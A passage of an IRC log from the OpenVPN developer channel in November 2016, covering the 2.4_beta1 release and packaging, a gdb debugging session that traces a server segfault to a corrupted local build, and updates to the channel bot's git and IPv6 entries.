the "*" approach quite a lot in openvpn-build 08:18 < slypknot> I am looking into this but .. ubuntu openvpn systemd Failed with result 'core-dump' 08:19 <@cron2> this should never happen 08:19 <@cron2> which version of openvpn is that? 08:20 <@mattock> dazo, cron2: what are the release highlights (for announcement & download page)? 08:20 < slypknot> OpenVPN 2.4_beta1 [git:master/8a1f5354d03b0345] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [L 08:20 < slypknot> Z4] [EPOLL] [MH/PKTINFO] [AEAD] built on Nov 17 2016 08:20 <@cron2> mattock: 2.4! :-) 08:20 < slypknot> it started second time around .. 08:20 <@cron2> (as compared to 2.4_alpha2 - tls-crypt, mainly, plus "cleanup") 08:20 < slypknot> rebooting .. maybe some hyperv memory limit or something 08:22 < slypknot> reboot .. is fine now :$ 08:26 <@mattock> https://openvpn.net/index.php/download/community-downloads.html 08:26 <@vpnHelper> Title: Community Downloads (at openvpn.net) 08:26 <@mattock> announcements and debian packages still missing 08:29 < slypknot> WOW .. ubuntu crashed again with coredump ! 08:31 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 260 seconds] 08:32 < slypknot> I have 2.3.13 installed alonmg side 2.4_b1 .. but that was never a problem before ? 08:33 < slypknot> maybe to do with with unit file as only old unit file crashes .. new (dazo) units files are still up 08:34 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 08:34 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:35 < slypknot> ah-ha .. I have --daemon in my unit file ! 08:36 <@dazo> slypknot: that should not cause coredump 08:37 < slypknot> dazo: what about Type=forking ? 08:37 <@dazo> slypknot: coredump in openvpn are caused by openvpn, not systemd .... so if you have a coredump, grab the core file and send it to gdb for a backtrace 08:38 <@dazo> Type=forking will requires --daemon in OpenVPN ... so they're related 08:39 < slypknot> ok .. with forking and daemon i have two coredump events .. without daemon it will not return to prompt after starting .service but this is my out Basic service (nothing fancy) and it never did this bofore 08:39 < slypknot> and has not had any problems on other distros 08:39 < slypknot> so far 08:41 <@dazo> gdb /usr/sbin/openvpn /full/path/to/core.$PID 08:41 <@dazo> (this is if the openvpn binary used were located under /usr/sbin/openvpn ... otherwise, full path to the binary which core dumped) 08:42 <@dazo> once you get a gdb prompt: bt 08:42 <@dazo> pastebin that output 08:42 <@dazo> without that information, we cannot know why openvpn coredumped ... thus we can't fix it 08:42 < slypknot> ok 08:43 < slypknot> reading ubuntu aboout coredump (never done this before) 08:48 <@dazo> slypknot: what does this say on your box? sysctl kernel.core_pattern 08:49 < slypknot> dazo: kernel.core_pattern = |/usr/share/apport/apport %p %s %c %P 08:53 <@dazo> ahh, okay ... so that's something ubuntu specific then 08:54 * dazo have no clues about that approach 08:57 * slypknot is reading whoopsie 09:00 < slypknot> going back to apport .. rebooting .. waiting for crash .. looking in /var/crash .. please wait 09:03 < slypknot> meh .. no files 09:04 <@dazo> and you are sure it is a coredump situation? 09:08 * dazo need to fetch some food now ... back in 1h+ 09:10 < slypknot> i am on #ubuntu trying to get a little help 09:18 <@mattock> I ran into annoying debian packaging issues that came out of the blue 09:18 <@mattock> I may have update the package tomorrow, and just make the announcements now... 09:35 < slypknot> FYI: systemd-coredumpctl .. looks promising 09:38 < slypknot> mattock: dazo: I have a coredump now .. have to read man coredumpctl etc to get the info you need .. but gotta run for now | back ~2hours 09:40 <@mattock> ok, I'll call it a day 09:41 <@mattock> debian packaging decided to give a good fight, so I will have to resume work tomorrow 09:41 <@mattock> announcements sent 09:47 <@syzzer> \o/ 10:21 <@plaisthos> mattock: your changes broke github :/ 10:21 <@plaisthos> https://github.com/OpenVPN/openvpn/blob/master/Changes.rst 10:21 <@vpnHelper> Title: openvpn/Changes.rst at master · OpenVPN/openvpn · GitHub (at github.com) 10:35 <@plaisthos> seem that the gitub parser does not like the tabs 11:18 <@dazo> plaisthos: I can untabify Changes.rst and commit it directly 11:19 <@dazo> plaisthos: are there some ways to "test" those .rst files before committing them to a repo? 11:23 <@plaisthos> dazo: I did a private branch/repo on github and later squased it 11:23 <@plaisthos> or just use the preview tab ;) 11:25 <@dazo> ahh, okay ... I'll test a few things 11:31 <@d12fk> has someone (cron2?) posted the c't ovpn2.4 snippet already? 11:38 <@cron2> d12fk: I bragged on g+ 11:58 <@dazo> d12fk: nope 12:03 <@d12fk> here is a picture http://imgur.com/a/F8m3U 12:03 <@vpnHelper> Title: Imgur: The most awesome images on the Internet (at imgur.com) 12:04 <@d12fk> translates to: 12:04 <@d12fk> ovpn 2.4 brings seamless roaming 12:08 <@d12fk> Within this year the next main version of the vpn sofware openvpn is targeted to be released. among other things it promises to fully support ipv6 as transport and transported protocol, even in a nat64/dns64 environment. under windows starting from vista the openvpn tray tool can now be run without admin rights. the background service that is controlled with it runs with system rights and takes care of the vpn connection. 12:12 <@d12fk> the openvpn server now assigns it's clients a peer id to enable uninterrupted roaming when network and ip address of the underlying connection changes. That also works together with older 2.3 clients. ovpn 2.4 alpha is ready for trying out. 12:12 <@d12fk> ...and a link to the alpha 12:14 <@dazo> cool! thx! 12:27 <@cron2> basically inspired from my RIPE talk, I'd guess... https://ripe73.ripe.net/wp-content/uploads/presentations/164-os-openvpn24.pdf and https://ripe73.ripe.net/archives/video/1504 12:27 <@vpnHelper> Title: Archives | RIPE 73 (at ripe73.ripe.net) 14:44 <@dazo> meh .... Just got an e-mail saying this: 14:44 <@dazo> In August 2016, the technology recruitment site GeekedIn left a MongoDB database exposed and over 8M records were extracted by an unknown third party. The breached data was originally scraped from GitHub in violation of their terms of use and contained information exposed in public profiles, including over 1 million members' email addresses. Full details on the incident (including how impacted members can see their leaked data) are covered 14:44 <@dazo> in the blog post on 8 million GitHub profiles were leaked from GeekedIn's MongoDB - here's how to see yours. 14:45 <@dazo> http://geekedin.net/ ... https://www.troyhunt.com/8-million-github-profiles-were-leaked-from-geekedins-mongodb-heres-how-to-see-yours 14:45 <@vpnHelper> Title: Troy Hunt: 8 million GitHub profiles were leaked from GeekedIns MongoDB - heres how to see yours (at www.troyhunt.com) 14:46 * dazo expects to see an increase in spam mails on his community address now 14:56 <@mattock> plaistos: interesting that rst parsers can't agree 14:57 <@mattock> apparently we need to preview with GitHub's parser, then 15:04 <@dazo> I just retrieved what geekedin had collected from my github profile .... I'm not happy :/ 15:05 <@dazo> could be far worse ... but it's far more than just my e-mail too 15:39 <@cron2> ouch... good that I do not have data anywhere in profiles 16:17 <@dazo> cron2: geekedin have collected quite a profile on github users :/ 16:18 <@dazo> I was surprised to see my profile 16:53 < slypknot> before you all go .. I have been wrestling with this coredump ..how important is this to document ? 16:54 < slypknot> My feedback from IRC was generally "nobody uses coredump's because nobody understands them .." 16:55 * slypknot is sorry about github et al .. that is why i am so anti-social 16:56 < slypknot> i bet it was an inside job .. pay somebody off 17:02 <@dazo> ehm .... coredumps is *the* *only* *way* to understand why a program segfaults or crashes unexpectedly 17:02 <@dazo> slypknot: ^^^ 17:03 <@dazo> if somebody claims "coredumps are useless" ... well, then they're not doing development 17:03 <@dazo> it's like saying "cars don't need breaks, because it slows you down" 17:04 * dazo need to run, to catch a train again 17:05 < slypknot> ok .. I'll document on trac my entire findings 17:05 <@dazo> slypknot: if you do not have any core dumps ... there's nothing to trac, actually 17:05 <@dazo> but I'm basing this on your statement that "openvpn coredumped" 17:06 < slypknot> dazo: I have what appear to be coredumps via systemd coredumpctl .. but I am way out of my depth obviously 17:06 <@dazo> ahh great! I really need to run now, or I won't catch any more trains today 17:06 <@dazo> but we can have a look tomorrow! 17:06 < slypknot> ok .. go man ! 17:06 <@dazo> c'ya! 17:07 < slypknot> go! 17:07 < slypknot> :) 19:33 < slypknot> is anybody around ? 20:08 * slypknot will be back early fri --- Day changed Fri Nov 18 2016 02:08 <@mattock> the haveibeenpwned.com site is quite nice, it shows that my account has been a part of three different breaches over the years 02:08 <@mattock> just my private email, not the openvpn.net one 02:09 <@mattock> good reason to have different passwords on _every_ site 02:09 <@mattock> plus minimize the data you put into various services 02:09 <@mattock> ok, then back to debian packaging woes... 03:17 < slypknot> dazo: I am making a new ubuntu1604 VM (should not take long) to test .. I have 5 systemd coredumps and a tar of my configs .. let me know what you want to do. I'll let you know when the new VM is ready. 03:19 <@cron2> *systemd* coredumps, or *openvpn* coredumps? 03:20 <@cron2> if systemd cores, this is unfortunate, but not our bug then (but it would be interesting to see what triggers it) 03:20 < slypknot> sorry, openvpn coredumps but recovered using systemdcoredumpctl 03:21 < slypknot> I only point that out because it is not the standard method used by ubuntu but was the easiest way for me 03:21 < slypknot> VM is ready .. installing openvpn now 03:37 < slypknot> cron2: FYI .. I worked on the prob most of yesterday and in the end stripped it back to running a basic loopback test but using eth IP not 127.0.0.1 and the server crashed as soon as the client connected ! this is why I decided to re-install ubuntu because I find it hard to believe that builbot tests did not find this .. so my suspicion is something is corrupted on my vm ? may be .. 03:38 <@cron2> slypknot: so it fails if you just run "make check", with no systemd involvement at all? 03:39 <@cron2> anything in the server logs before it crashes? 03:39 < slypknot> i did not try make check .. i forgot aboput that 03:40 < slypknot> but the logs end mid connection .. i did not push verbage yet 03:41 < slypknot> i'll try quickly now 03:43 <@cron2> the buildbots themselves do not run "real" *server* tests, just "make check -> loopback check" - but I do have servers running on a gentoo system, and dazo runs -master on his day-to-day VPN stuff (server+client) 03:43 <@cron2> so this is something non-obvious - might still be an openvpn but, so important to track it down :) 03:44 <@mattock> behold: I have triumphed over underscores using sed and regular expression capture groups 03:44 <@mattock> sometimes it's so silly what needs to be done to fix things, in this case converting version numbers to the "correct" format in Debian changelogs 03:45 <@mattock> read: we finally get the debian packages for openvpn 2.4_beta1 03:46 < slypknot> cron2: make check failed 1 test t_client.rc ( this was *not one of my buildbot m/c's) 03:47 <@cron2> so what failed in t_client.rc? there are many subtests... 03:49 < slypknot> ./t_client.sh: cannot find 't_client.rc' in build dir ('..') 03:49 < slypknot> ./t_client.sh: or source directory ('.'). SKIPPING TEST. 03:50 < slypknot> thats all .. the other tests PASSED 03:50 < slypknot> just ran my quick server/client test .. instant server crash 03:50 < slypknot> that is on the old VM .. new VM almost ready 03:56 <@cron2> slypknot: that's not a "failed 1 test" - that's a SKIPPING - if you haven't set this up, it can not run 03:58 < slypknot> the message is: 03:58 < slypknot> FAIL: t_cltsrv.sh 03:58 < slypknot> ==================================================== 03:58 < slypknot> 1 of 2 tests failed 03:58 < slypknot> (1 test was not run) 03:58 < slypknot> Please report to openvpn-users@lists.sourceforge.net 03:58 < slypknot> ==================================================== 04:01 <@cron2> he who can read... 04:02 <@cron2> FAIL: t_cltsrv.sh is not "t_client.rc" - that's a different test, and one that should never fail 04:02 <@cron2> there should be logs in tests/ and there might even be a core dump there 04:09 < slypknot> ok 04:09 < slypknot> however, the new VM works properly 04:09 < slypknot> ??? 04:10 <@cron2> now that is highly strange 04:11 <@cron2> if t_cltsrv.sh fails, it's definitely not a systemd related problem (good, because less moving parts involved) but this is something every buildbot tests, so that should NEVER fail 04:11 <@cron2> so, no idea what could be causing this... low on memory mayhaps? 04:12 < slypknot> I'll check .. 04:13 < slypknot> 768mb .. 260mb free 04:13 < slypknot> 500mb swap additional to that 04:13 < slypknot> I'll try recloning but keep the failed one 04:15 <@mattock> debian packages in the apt repos, so 2.4_beta1 release is now concluded 04:17 < slypknot> mattock: cool :) 04:21 < slypknot> cron2: I think this must have been some local gremlin .. recloned/built and now running fine ! 04:33 < slypknot> total bloody wild-goose chase ! don't know what went wrong .. hyperv maybe ran out of memory when building the broken version .. but it is all working as expected now .. with systemd as well 04:34 < slypknot> but at least it is working 04:35 * cron2 prefers an occasional goose chase to a non-spotted crash bug in a released version :-) - so if you're not making a habit out of this... :-) 04:35 < slypknot> hehe .. I'll not do that one again :-) 04:51 <@mattock> in case anyone wants to test 2.4_beta1 combined installer with exit-event v2 fix look here: https://github.com/OpenVPN/openvpn-build/pull/44 04:51 <@vpnHelper> Title: "x86 + x64" installer by chipitsine · Pull Request #44 · OpenVPN/openvpn-build · GitHub (at github.com) 04:51 <@mattock> there's a link to an installer with both of those features/fixes 04:52 <@mattock> the installer is not yet there, but should appear in <15 minutes 04:52 <@mattock> unless there's a typo somewhere in my scp line :) 04:52 <@mattock> -> lunch 05:10 <@dazo> slypknot: alright, I'm here now 05:11 <@dazo> slypknot: can you pastebin a 'ls -l' of all the files you've gathered? 05:16 < slypknot> dazo: did you not read above ? 05:16 < slypknot> i recloned and rebuilt and it worked.. 05:17 < slypknot> so local gremlin 05:17 < slypknot> sorry about the wild geese ! 05:18 <@dazo> slypknot: alright ... well, I still would like to see those core dumps though ... just to have a 100% assurance it wasn't a very weird corner case 05:19 <@dazo> segfaults (which is the most common reason to get core dumps) are tricky 05:19 < slypknot> seriously, i rebuilt on the same machine with no changes just a new clone dir and everything worked perfectly .. 05:20 < slypknot> it think it was more likely my VM ran out of RAM during build or some other such glictch 05:20 <@dazo> but I have experienced that virtual machines can in some very weird cases do cause random errors .... but I've also seen such weird cases actually trigger something worth fixing too, to tighten the code even more 05:20 <@dazo> okay, if it is lack of memory related, then it's a plausible explanation 05:21 < slypknot> i built openvpn 24b1 on 9 VMs all at once 05:21 <@dazo> we do have some ASSERT() calls (which can trigger core dumps too) if openvpn could not allocate memory 05:21 < slypknot> i am sure it was a ram related local issue 05:21 <@dazo> okay 05:21 < slypknot> i even built a second VM to double double check .. i could not replicate on the second vm 05:23 < slypknot> if you *really* want to waste time on a very likely wild goose chase I am happy to share the coredumps but I empasize now .. it is a waste of your time, due to my inexperience ;) 05:28 <@dazo> slypknot: those coredumps might or might not be valid .... depends entirely if you have the exact same openvpn binary (not recompiled later on) available or not 05:29 <@dazo> even though I now consider this low risk scenario .... confirming it was caused by an ASSERT() call would ease my mind .... could be that it is a malloc() call failing and causing issues, where we should have done something to exit more gracefully than a core dump 05:31 <@dazo> slypknot: so ... if you can pastebin an 'ls -l' of all the gathered files (including "full" path) ... that could give me an indication if we have what is needed to continue or not, plus knowing if you have the exact same binary available 05:32 * dazo is so looking forward to when reproduceable builds is the norm 05:32 < slypknot> hmm .. I have the git clone which failed .. I cloned anew into a new dir 05:32 < slypknot> so the binary should be in the old dir 05:33 <@dazo> that is interesting! 05:33 < slypknot> there are 5 openvpn coredumps 05:33 < slypknot> from that binary 05:33 <@dazo> great! 05:34 < slypknot> listen .. I am happy to give you all that - i'll tar.gz it all up and email it to you 05:34 <@dazo> $ gdb path/to/openvpn/binary path/to/coredump/file 05:34 <@dazo> won't work so well, as I don't have the same distro as you 05:34 <@dazo> (gdb) bt 05:34 < slypknot> ok .. then this will have to wait till a bit later .. but i will gladly spend a little time on it 05:35 <@dazo> when doing the bt ... you'll get the backtrace .... and that is what is telling us what went wrong 05:36 <@dazo> Learning how to use gdb is extremely helpful for us ... as those coredumps contains the exact state of an application when it crashed ... In addition to see where and how the application crashed, we can even extract memory regions which were in use, to better understand why 05:41 < slypknot> is sourceforge a bit of a joke ? 05:42 <@dazo> how? 05:42 < slypknot> trying to d'l gparted 0.27 .. no go no way no how 05:42 < slypknot> http://gparted.org/download.php 05:42 <@vpnHelper> Title: GParted -- Download (at gparted.org) 05:44 <@dazo> well, sf.net depend on a bunch of mirrors, so if a mirror is unavailable or out-of-sync (which do happen from time to time) these things happens 05:45 < slypknot> k 05:45 <@dazo> hmmm ... someone connected and dropped the connection to my mail server over 27000 since 4am today .... if it was a DoS attempt, it wouldn't succeed like that due to my IP address rate limiting .... 05:45 < slypknot> dazo: I am firing up the ubuntu vm now and will re-instate the older opevon bin .. give me a couple of mins 05:46 <@dazo> cool! 05:47 <@dazo> oh, it is trying to DoS me! when blocking the IP in iptables, the packet counter sky-rocketed .... 06:01 < slypknot> ok .. gdb on openvpn 24beta1(broken) with coredump .. as far as I can see the last three lines may be of interest, pasting: 06:01 <@dazo> I'd like a pastebin of the complete bt 06:01 < slypknot> Core was generated by `openvpn --config defaults.conf --daemon ovpn-defs'. 06:01 < slypknot> Program terminated with signal SIGSEGV, Segmentation fault. 06:01 < slypknot> #0 check_ping_send_dowork (c=c@entry=0xb324b0) at ping.c:85 06:01 < slypknot> 85 c->c2.buf = c->c2.buffers->aux_buf; 06:02 < slypknot> ok patebin to follow 06:02 < slypknot> what exactly would you like me to do in gdb ? 06:02 < slypknot> because that is all i currently have 06:03 <@dazo> right now I need to see the complete backtrace 06:03 < slypknot> how do i get that ? 06:03 <@dazo> in the (gdb) prompt, type: bt [ENTER] 06:04 < slypknot> ah ok .. lol 06:05 < slypknot> https://dpaste.de/NpHL 06:07 <@dazo> can you also do: 06:07 <@dazo> (gdb) set print array on 06:07 <@dazo> (gdb) print c 06:07 <@dazo> sorry! 06:07 <@dazo> (gdb) set print pretty on 06:07 <@dazo> then 'print c' 06:08 < slypknot> (gdb) set print pretty on 06:08 < slypknot> (gdb) print c 06:08 < slypknot> $2 = (struct context *) 0xb324b0 06:08 <@dazo> ahh, duh! 06:08 <@dazo> print *c 06:08 < slypknot> ah k 06:09 <@dazo> that needs a pastebin too, I'd presume 06:09 < slypknot> yup ! 06:09 <@syzzer> 'remote debugger' 06:09 <@syzzer> :p 06:09 <@dazo> heh :) 06:10 <@dazo> next time, slypknot will be able to do this all by himself ... so then it's a 'macro based remote debugger'! 06:10 <@dazo> :-P 06:10 < slypknot> lol 06:10 < slypknot> is one day enough or you need a week ? 06:11 <@dazo> one day is usually enough :) 06:11 <@cron2> anything interesting in your config, like tls-auth? 06:11 < slypknot> https://dpaste.de/BiXO 06:11 < slypknot> tls-auth is in use yes 06:11 <@cron2> dazo: are you using tls-auth on your vpn? 06:12 <@cron2> t_client is currently not covering this, and since tls-crypt touches that code, we might have broken tls-auth 06:13 <@dazo> cron2: yes, I'm using tls-auth against my server right now ... upgraded to 2.4_beta1 last evening 06:13 <@cron2> ok. Would have been an embarrassing oversight, but I did indeed trust syzzer to have this tested extensively 06:13 <@dazo> :) 06:13 <@syzzer> I do run tls-auth tests, yes 06:14 <@syzzer> (also, the back trace does not seem to indicate 'tls-auth' to me) 06:14 < slypknot> i'll double x2 check 06:15 < slypknot> tls-auth defaults/ta.key 0 06:15 <@dazo> slypknot: okay, I now understand why it segfaults ... I do not yet understand why c->c2.buffers is NULL though ... so we are missing a check on this 06:16 < slypknot> verified ta.key is a valid ta file 06:19 <@cron2> dazo: the reason why I suspected tls-auth is because we've changed this code recently, and it's not extensively tested yet. "ping" OTOH is code that is older than the world... 06:19 < slypknot> syzzer: line 365 06:19 <@cron2> so if that code path can ever be NULL (which it now obviously is) it should have broken people's configs much more often 06:20 <@cron2> s/dazo/syzzer/, anyway :) 06:20 <@dazo> yeah ... and there are plenty of checks on init_context_buffers() which sets c2.buffer .... 06:20 <@dazo> so something have NULLed that buffer somewhere 06:21 <@dazo> (which should only happen when close_instance() is called) 06:21 < slypknot> is it possible i git pulled at the wrong moment yesterday ? 06:22 <@dazo> nope 06:22 < slypknot> i can tar up my clone if you want 06:22 <@dazo> does 'git status' tell you that you have any modified files? 06:24 <@dazo> slypknot: could you pastebin config.log ? 06:25 < slypknot> git status 06:25 < slypknot> On branch master 06:25 < slypknot> Your branch is up-to-date with 'origin/master'. 06:25 < slypknot> nothing to commit, working directory clean 06:25 < slypknot> pasting config.log 06:25 <@dazo> then we have exact the same git repos 06:26 <@dazo> slypknot: you had more coredumps? 06:26 <@dazo> slypknot: could you do a similar backtrace of the other coredumps as well? 06:28 <@syzzer> slypknot: is this the first connect that fails? or does it fail after a while? 06:28 * syzzer is suspecting the "Fix missing return value checks in multi_process_float()" patch 06:28 < slypknot> https://dpaste.de/JhaW 06:29 < slypknot> failure is immediate 06:29 < slypknot> on connecct 06:29 * slypknot brb 06:30 <@syzzer> hm, no, that doesn't make sense then 06:31 <@syzzer> still also very weird that everything *does* work after a recompile 06:31 < slypknot> it sure is 06:32 <@cron2> how can c.buffers ever be NULL? 06:33 < slypknot> dazo: I *had* more coredumps but they were deleted .. but I can make another one any time .. it crashes everytime 06:34 <@dazo> yeah, that'd be good ... it is just to ensure that this error is consistent 06:34 <@dazo> if it place it fails changes, it's a broken openvpn build 06:35 <@dazo> cron2: exactly! 06:36 <@dazo> hmmm ... it is built with -O2 ... which means the compiler could have done some funky stuff some places 06:37 < slypknot> FYI: only the server crashes not the client 06:38 <@dazo> that's another interesting point 06:44 < slypknot> https://dpaste.de/3Ru3 06:44 < slypknot> thats the dump from just now 06:45 <@dazo> okay, good .... consistency is really good ... so it's the same location 06:45 < slypknot> from my POV .. exactly the same experience 06:45 <@dazo> yes, and c2.buffers == NULL in this case too 06:46 < slypknot> you mentioned -02 (i preume meaning cpu's) I was compiling on 9 VMs at once .. 06:46 < slypknot> with a 4 core cpu 06:46 <@dazo> -O2 means the compiler will optimize the code ... so it will flip around on the code 06:46 <@dazo> to make the resulting assembly more efficient 06:46 < slypknot> ok 06:46 <@cron2> taking a step back, and re-asking questions that might have been answered before 06:47 <@cron2> slypknot: this only happens on a single VM, but it will always happen, even if you do "make clean ; make" in between to re-build? 06:47 < slypknot> I have not done that .. this is the build which actually failed 06:47 < slypknot> no rebuild on that clone 06:48 < slypknot> I can if you want 06:48 <@dazo> save the openvpn binary .... and do: make clean all 06:48 < slypknot> sure 06:52 <@dazo> [side track] ... git grep -pn c2.buffers ... that's pretty cool 06:52 <@dazo> (-p gives the function context of the match) 06:53 <@cron2> oh... in the bt... is "buffers_owned" true or false? 06:53 * dazo checks 06:54 <@dazo> cron2: false 06:55 <@cron2> which would at least be halfway consitent with "do_init_buffers() not called / do_close_free_buf() called" 06:56 <@dazo> inherit_context_top() sets buffers_owned to false, and does not do anything else with the dest copy in regards to buffers ... 06:57 <@cron2> seen that, but that is "someone else owns these buffers, so do not free them" 06:57 <@dazo> but ... multi_top_init() does init the buffers again, after calling inherit_context_top 06:58 <@dazo> right 06:58 <@cron2> so buffers_owned=true and buffers=NULL would worry me more :) 06:58 <@dazo> ahh, yeah, I agree 07:00 <@dazo> since c->proto is 1, that should be UDP ... and there callers of multi_top_init() are quite few ... so it seems like multi_top_init() doesn't do the buffer allocation to me 07:01 * dazo awaits slypknot's 'make clean all' check 07:02 < slypknot> FYI: (broken) openvpn 4070040 Nov 18 12:48 - (Newly built) openvpn 4072080 Nov 18 12:52 07:02 <@cron2> dazo: that can basically not happen - it's an unconditional call, and init_context_buffers() uses ALLOC_OBJ_CLEAR() 07:03 <@cron2> slypknot: this is also suspicious - same sources, same system environment, should lead to same binary size (not necessarily identically bit-wise, but same size) 07:03 <@dazo> cron2: agreed ... but that's the only plausible location 07:03 <@dazo> yeah, that's a bit too big difference 07:03 <@dazo> slypknot: curious about how your test runs now 07:04 < slypknot> I have the chance to start openvpn server (newly built) against still running openvpn client (broken version) .. stop client or try it ? 07:05 <@dazo> slypknot: I'm not convinced at all this will be a client issue ... so just kill the old client 07:05 < slypknot> k 07:06 <@dazo> (plus, if the build was broken .... then the client isn't really running the code it should be either) 07:06 < slypknot> works normally 07:06 <@dazo> okay, so it is actually the compiler which messed up 07:07 <@dazo> slypknot: just a sanity check ... can you save the new binary and move the corrupt one back to the one being tested? 07:08 <@dazo> it should fail ... and then flipping back again, it should work .... if that's the case .... then I'm confident this is a compiler mishap and not openvpn code issues 07:08 < slypknot> ok 07:11 < slypknot> old version = server keels over immediately 07:13 < slypknot> new version = works perfectly normal 07:15 < slypknot> i think it was me being over optimistic with my VMs 07:16 < slypknot> wild geese shot dead ! 07:17 < slypknot> sorry for that 07:17 <@dazo> yes! And I'm happy with this result. We know have a very plausible explanation why it happened 07:17 <@dazo> nothing to be sorry about! 07:17 <@dazo> This was an important debugging session 07:18 < slypknot> cool 07:18 < slypknot> do you still need the pastes ? otherwise i'll delete them 07:19 < slypknot> and thanks for your time btw 07:19 <@dazo> in some sense, this actually detected a bug in the compiler .... where the compiler most likely had a memory corruption due to an out of memory situation, but it continued and wrote a corrupted object file which happened to be valid 07:19 <@dazo> no need for the pastebins any more 07:20 < slypknot> k 07:21 < slypknot> woul;d the binary or dump files be of any further use ? 07:23 <@dazo> nope, we've closed this case now ... so no need to dig back into this rat's nest again :) 07:24 < slypknot> ok 07:24 < slypknot> thanks :) 07:39 <@dazo> I'm going to just push out a fixed Changes.rst .... which replaces tabs with spaces, to fix the wrong GitHub formatting 07:40 <@dazo> plaisthos: found out it's possible to use a private gist to "test" the rst files 07:45 <@vpnHelper> RSS Update - gitrepo: Changes.rst: Fixing wrong formatting <https://github.com/OpenVPN/openvpn/commit/237fd7f3f08b267d2be101f1d8f3989f3c5b3afb> 07:46 <@dazo> time for food 07:46 <@mattock> my work here is done (for this week, at least) :) 16:07 <+krzee> !git 16:07 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn, or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing, or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/, or (#4) See !git-doc how to use git, or (#5) for the windows TUN/TAP driver repo, look at !tapdrvr, or (#6) 16:07 <@vpnHelper> http://xkcd.com/865/, or (#7) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 16:08 <+krzee> 2.4 is openvpn-testing right? 16:08 <@dazo> krzee: it's everywhere nowadays 16:09 <@dazo> krzee: openvpn-testing.git will be retired, so we will only have openvpn.git 16:10 <+krzee> if im going to try to compile 2.4 right now, it's openvpn-testing.git? 16:10 <+krzee> or is that openvpn.git too now 16:11 <@dazo> you can ditch openvpn-testing.git .... everything in openvpn.git these days 16:11 <@dazo> !forget git 16:11 <@vpnHelper> Error: 7 factoids have that key. Please specify which one to remove, or use * to designate all of them. 16:12 <@dazo> !forget git * 16:12 <@vpnHelper> Joo got it. 16:13 <@dazo> !learn git as The public git trees are here: a) git://git.code.sf.net/p/openvpn/openvpn, b) https://gitlab.com/openvpn/openvpn.git, c) https://github.com/OpenVPN/openvpn/ 16:13 <@vpnHelper> Joo got it. 16:14 <@dazo> !learn git as All of these git locations should always be in sync and identical, if not something bad has happened and you should inform the developers ASAP 16:14 <@vpnHelper> Joo got it. 16:15 <@dazo> !learn git as See !git-doc how to use git 16:15 <@vpnHelper> Joo got it. 16:15 <@dazo> !learn git as for the windows TUN/TAP driver repo, look at !tapdrvr 16:15 <@vpnHelper> Joo got it. 16:15 <@dazo> !learn git as git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 16:15 <@vpnHelper> Joo got it. 16:15 <@dazo> !git 16:15 <@vpnHelper> "git" is (#1) The public git trees are here: a) git://git.code.sf.net/p/openvpn/openvpn, b) https://gitlab.com/openvpn/openvpn.git, c) https://github.com/OpenVPN/openvpn/, or (#2) All of these git locations should always be in sync and identical, if not something bad has happened and you should inform the developers ASAP, or (#3) See !git-doc how to use git, or (#4) for the windows TUN/TAP driver 16:15 <@vpnHelper> repo, look at !tapdrvr, or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 16:16 <@dazo> !ipv6 16:16 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for ipv6 payload patch (adds some nice ipv6 options), or (#2) see !snapshots for a release with ipv6 patches in it, report how it works to help it get included in a stable release 16:16 <@dazo> !learn ipv6 as http://xkcd.com/865/ 16:16 <@vpnHelper> Joo got it. 16:17 <@dazo> hmm .... that needs to be updated too 16:17 <@dazo> !forget ipv6 16:17 <@vpnHelper> Error: 3 factoids have that key. Please specify which one to remove, or use * to designate all of them. 16:17 <@dazo> !forget ipv6 * 16:17 <@vpnHelper> Joo got it. 16:17 <@dazo> !learn ipv6 as Full IPv6 support arrived in OpenVPN v2.3. 16:17 <@vpnHelper> Joo got it. 16:18 <@dazo> !learn ipv6 as http://xkcd.com/865/ 16:18 <@vpnHelper> Joo got it. 16:18 <@dazo> !ipv6 16:18 <@vpnHelper> "ipv6" is (#1) Full IPv6 support arrived in OpenVPN v2.3., or (#2) http://xkcd.com/865/ 16:18 <@dazo> krzee: ecrist: I thought the factoid database was identical between #openvpn and #openvpn-devel ....not? 16:19 <@dazo> !forget ipv6 16:19 <@vpnHelper> Error: 2 factoids have that key. Please specify which one to remove, or use * to designate all of them. 16:19 <@dazo> !forget ipv6 * 16:19 <@vpnHelper> Joo got it. 16:21 -!- dazo [~dazo@openvpn/corp/developer/dazo] has left #openvpn-devel ["Leaving"] 16:21 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 16:21 -!- mode/#openvpn-devel [+o dazo] by ChanServ 16:21 <@dazo> !learn ipv6 as The wiki has IPv6 details: https://community.openvpn.net/openvpn/wiki/IPv6 16:21 <@vpnHelper> Joo got it. 16:21 <@dazo> !learn ipv6 as The manpage contains info about IPv6 features present in 2.3+: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAQ 16:21 <@vpnHelper> Joo got it. 16:21 <@dazo> !learn ipv6 as http://xkcd.com/865/ 16:21 <@vpnHelper> Joo got it. 16:22 <@dazo> !ipv6 16:22 <@vpnHelper> "ipv6" is (#1) The wiki has IPv6 details: https://community.openvpn.net/openvpn/wiki/IPv6, or (#2) The manpage contains info about IPv6 features present in 2.3+: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAQ, or (#3) http://xkcd.com/865/ 16:22 * dazo manually synced !git and !ipv6 16:32 <+krzee> dazo: nope, they chans have their own databases 16:35 <+krzee> the* 16:36 <+krzee> !git-doc 16:36 <@vpnHelper> "git-doc" is (#1) For a good git documentation, see http://progit.org/book/, or (#2) For a very quick git crash course, see https://community.openvpn.net/openvpn/wiki/GitCrashCourse --- Day changed Sat Nov 19 2016 01:05 <@cron2> dazo: indeed, thanks for updating !ipv6 03:37 <@syzzer> mattock: could you look into getting trac to support syntax coloring? https://trac.edgewall.org/wiki/TracSyntaxColoring 03:37 <@vpnHelper> Title: TracSyntaxColoring – The 